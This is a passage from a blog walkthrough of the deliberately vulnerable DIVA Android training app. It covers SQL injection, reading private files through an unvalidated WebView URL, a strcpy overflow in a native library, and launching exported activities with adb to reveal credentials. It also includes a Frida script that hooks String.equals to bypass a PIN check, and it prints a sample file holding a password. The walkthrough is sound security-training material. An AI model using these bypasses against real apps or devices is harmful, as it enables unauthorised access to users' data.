As the getExternalStorageDirectory()’s documentation says, this function returns the primary shared/external storage directory. But:

Ultimately, in our context, this external storage is the Android user’s personal directory. The following symbolic links maintain a backward compatibility consistency:

jamarir@kali:~$ adb shell 'su -c "ls -ld /sdcard"'
lrwxrwxrwx 1 root root 21 <DATE> /sdcard -> /storage/self/primary

jamarir@kali:~$ adb shell 'su -c "ls -ld /storage/self/primary"'
lrwxrwxrwx 1 root root 19 <DATE> /storage/self/primary -> /mnt/user/0/primary

jamarir@kali:~$ adb shell 'su -c "ls -ld /mnt/user/0/primary"'
lrwxrwxrwx 1 root root 19 <DATE> /mnt/user/0/primary -> /storage/emulated/0
jamarir@kali:~$ adb shell 'ls -l /storage/emulated/0/'
total 60
drwxrwx--x 2 root sdcard_rw 4096 <DATE> Alarms
drwxrwx--x 4 root sdcard_rw 4096 <DATE> Android
drwxrwx--x 2 root sdcard_rw 4096 <DATE> DCIM
drwxrwx--x 2 root sdcard_rw 4096 <DATE> Documents
drwxrwx--x 2 root sdcard_rw 4096 <DATE> Download
[...]

It could be noted that this personal /storage/emulated/0/ folder is just a /data/media/0/ mountage:

jamarir@kali:~$ adb shell 'mount |grep ^/data/media'
/data/media on /mnt/runtime/default/emulated type sdcardfs (rw,nosuid,nodev,noexec,noatime,fsuid=1023,fsgid=1023,gid=1015,multiuser,mask=6,derive_gid,default_normal)
/data/media on /storage/emulated type sdcardfs (rw,nosuid,nodev,noexec,noatime,fsuid=1023,fsgid=1023,gid=1015,multiuser,mask=6,derive_gid,default_normal)
[...]

Finally, there’s only one user in the Android phone. Therefore, its path’s ID is 0, the first one:

jamarir@kali:~$  adb shell 'su -c "ls -l /data/media/"'
total 8
drwxrwx--- 17 media_rw media_rw 4096 <DATE> 14:50 0
drwxrwxr-x  2 media_rw media_rw 4096 <DATE> obb

jamarir@kali:~$ adb shell am get-current-user
0

4 - Input Validation Issues

SQLQueries are secured (I mean, REALLY !)

The first Input Validation’s screen allows us to look for names:

The challenge is to retrieve every user’s details without guessing them.

Basically, that’d be cheating:

If we consider that looking at the decompiled code isn’t cheating:

We see that our input is processed using the following SQL query:

this.mDB.rawQuery("SELECT * FROM sqliuser WHERE user = '" + srchtxt.getText().toString() + "'", null);

Without entering into SQL injection details (this portswigger’s blog would), the following payload dumps the database:

WebViews are secured (I mean, REALLY !)

The second part asks a web URL:

Then, let’s host a web server in our kali machine and see what happens:

jamarir@kali:~$ python -m http.server -b 192.168.56.3 8080
Serving HTTP on 192.168.56.3 port 8080 (http://192.168.56.3:8080/) ...

The corresponding code is:

As we can see in the WebView’s documentation, the only thing a WebView does, by default, is showing a URL’s web page. Among the URL’s components show in RFC3986, there's the scheme:

However, RFC1738 gives numerous available schemes, in particular, the file scheme (related wikipedia page):

Also, when the host is localhost, or not specified, it is considered as the machine from which the URL is being interpreted:

Therefore, an unvalidated URL controlled by the user puts the Android device at risk. Indeed, we saw that our Android user is not allowed to access the /data/ folder using in file explorer:

However, because the application runs as u0_a94, we can impersonate it through that unsafe URI. For example, we can read an arbitrary file in the u0_a94’s data folder, such as the shared preferences:

Missiles are secured (I mean, REALLY !)

The last part of the input challenge is pretty scary, because we’re asked to PUSH THE RED BUTTON !

Sounds like we have to crash the app to spread love. However, we don’t know the launch code, and invalid ones are denied:

The corresponding code is:

If initiateLaunchSequence(<CODE>) is 0, then the access is denied. As we can see, our divajni native library is back ! Let’s analyze the djni.initiate.LaunchSquence() function’s logic:

Our code input is stored in **src. However, only the first function’s argument is used (i.e. placeholder_1, arg3, and arg_28h aren’t used). To edit the function’s signature, we may open the library with Ghidra:

Also, let’s rename the function’s inner variables names to make the code more human-readable:

All instances of a variable in a function can be highlighted pressing the middle mouse button. Also, a Ghidra dark theme is available here.

BufferOverflow’ed

At a high level, we may guess that our input (code) is copied into s1, itself copied into s_40, a string limited to 40 characters.

However, in a C program, strings are terminated by a NULL byte (see this umbc course for more details). Therefore, if an array can hold 40 characters, we may actually only store 39 characters within it, where the 40th one will be the NULL byte.

Therefore, putting 40 characters in our code will result in a crash, because the 40-slot array will contain 41 characters (40 for the user’s input + 1 for the NULL byte):

This crash is due to strcpy() that doesn’t, inherently, manage or restrict the source’s size to be copied. In particular:

jamarir@kali:~$ man 3 strcpy

MissilesLoverflow’ed

Moreover, the decompiled Native function reveals that our input is, in definitive, copied into s2 (codes1s_40s2):

Then s1=".dotdot", and i=7 is indexing the s1’s characters, from end to start. The do{} while() loop is:

In a nutshell:

  • If our input equals .dotdot (or !dotdot), then true == 1 is returned, which launches the missile.

  • Otherwise, false == 0 is returned, which denies the access.

5 - Access Control Issues

Activity + Intent Actions = AM

The first Access Control Issues part allows us to access API credentials:

As the hint suggests, we should access these credentials from outside the application. The corresponding code is:

As we can see, the credentials are showed in the application by the startActivity(i) call.

i is an intent. As the Android documentation shows, its structure is mainly made up of 2 elements:

  • An action to be performed.

  • A data to operate on.

Intents are mostly used to launch activities. An activity is basically the thing with which the user interacts, mainly a full-screen / floating window.

Activities are mostly made up of 2 functions:

  • onCreate() for initialization (layout, widgets, …).

  • onPause() for user inactivity.

In the decompiled code, we see that our intent’s action is set to jakhar.aseem.diva.action.VIEW_CREDS, itself saved in the AndroidManifest.xml file:

TLDR: An activity is an application's screen launched by an intent action.

The AndroidManifest.xml file MUST be present in the application’s project. This file describes essential information about the app to the:

In the AndroidManifest.xml file, only the <manifest> and <application> elements are required.

The <activity> element implements part of the application's visual user interface (e.g. banner, color, etc.). It’s basically a single screen in an app.

This element can contain <intent-filter> elements, which must contain at least one <action> element. This action contains the activity to start. Technically, starting an activity is calling its class‘s onCreate() method.

It’s worth mentioning that the first activity launched at the application’s startup is called the main entry point activity. This activity is the one with the MAIN intent-action.

Therefore, the challenge is to launch, outside the app, the jakhar.aseem.diva.APICredsActivity activity, or the jakhar.aseem.diva.action.VIEW_CREDS intent’s action.

A quick googling shows that the Activity Manager could be used:

jamarir@kali:~$ adb shell am start -n jakhar.aseem.diva/.APICredsActivity
Starting: Intent { cmp=jakhar.aseem.diva/.APICredsActivity }

Activity + BooleanExtra = AM

In the second part, we can retrieve TVEETER (NOT Bluesky) API credentials:

The registration requires a valid PIN:

The corresponding decompiled Java code is:

If the button Register Now is checked, then the VIEW_CREDS2 intent-action is launched, which starts the APICreds2Activity activity:

As shown in this latest image, the credentials are shown only if bcheck is false. This value depends on the intent’s getBooleanExtra() function result:

Because the name (getString(R.string.chk_pin) here) has no boolean value associated with it, it’ll returns true by default. Looking at the APK’s string resources, we see that the string of the key R.string.chk_pin is set to check_pin:

Also, in the Activity Manager, we can define extra variables of the values we wanna patch:

jamarir@kali:~$ adb shell am
[...]
<INTENT> specifications include these flags and arguments:
    [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
    [-c <CATEGORY> [-c <CATEGORY>] ...]
    [-n <COMPONENT_NAME>]
    [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
    [--esn <EXTRA_KEY> ...]
    [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
    [--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
[...]

Therefore, we can tell the application to launch the APICreds2Activity activity, where check_pin is associated to the false value:

jamarir@kali:~$ adb shell am start -n jakhar.aseem.diva/.APICreds2Activity --ez check_pin false
Starting: Intent { cmp=jakhar.aseem.diva/.APICreds2Activity (has extras) }

The usage of extra key-value pairs is done only in this APICreds2Activity class:

PIN + String.Equals = Frida

The final challenge allows us to create / change a PIN to access private notes:

Once a PIN is registered / updated:

We can access our private notes using that PIN:

The challenge is to access these private notes from outside the app, without knowing the PIN. The corresponding code is:

First, the application looks for the notespin key in the shared preferences:

jamarir@kali:~$ adb shell 'cat /data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml'
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">P@ssw0rd123!</string>
    <string name="notespin">1337</string>
    <string name="user">admin</string>
</map>

Then, we could override the java.lang.String.equals() function to return true if the user’s input is equal to 9897:

The following patch is inspired by iddoeldor‘s one.

jamarir@kali:~$ cat patch.js
Java.perform(function() {
    var S = Java.use('java.lang.String');
    S.equals.overload('java.lang.Object').implementation = function(obj) {
        if (this.toString() == "9897") {
            console.log(S.toString.call(this) + ' == ' + obj.toString() + ' ?');
            return true;
        }
        return S.equals.overload('java.lang.Object').call(this, obj);
    }
});
jamarir@kali:~$ frida -U -f jakhar.aseem.diva -l patch.js
[...]
[VirtualBox::jakhar.aseem.diva ]-> 9897 == 9897 ?
9897 == 1337 ?

The PIN is revealed in the frida’s logs. But we don’t care here, because the result is true anyway.

Generally, patching such globally used functions (e.g. equals(), toString(), etc.) is likely to break the application’s logic. Thus, in this patch, we limited the patch’s scope only for strings equal to 9897.

That way, we make sure (or at least, it’s very probable that) our patch won’t break the other legitimate equals() calls (if any):

jamarir@kali:~$ cat patch.js
Java.perform(function() {
    Java.use('java.lang.String').equals.overload('java.lang.Object').implementation = function(obj) {
        return true;
    }
});
jamarir@kali:~$ frida -U -f jakhar.aseem.diva -l patch.js
[...]
[VirtualBox::jakhar.aseem.diva ]-> Process terminated
[VirtualBox::jakhar.aseem.diva ]->

Thank you for using Frida!

GG WP !

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!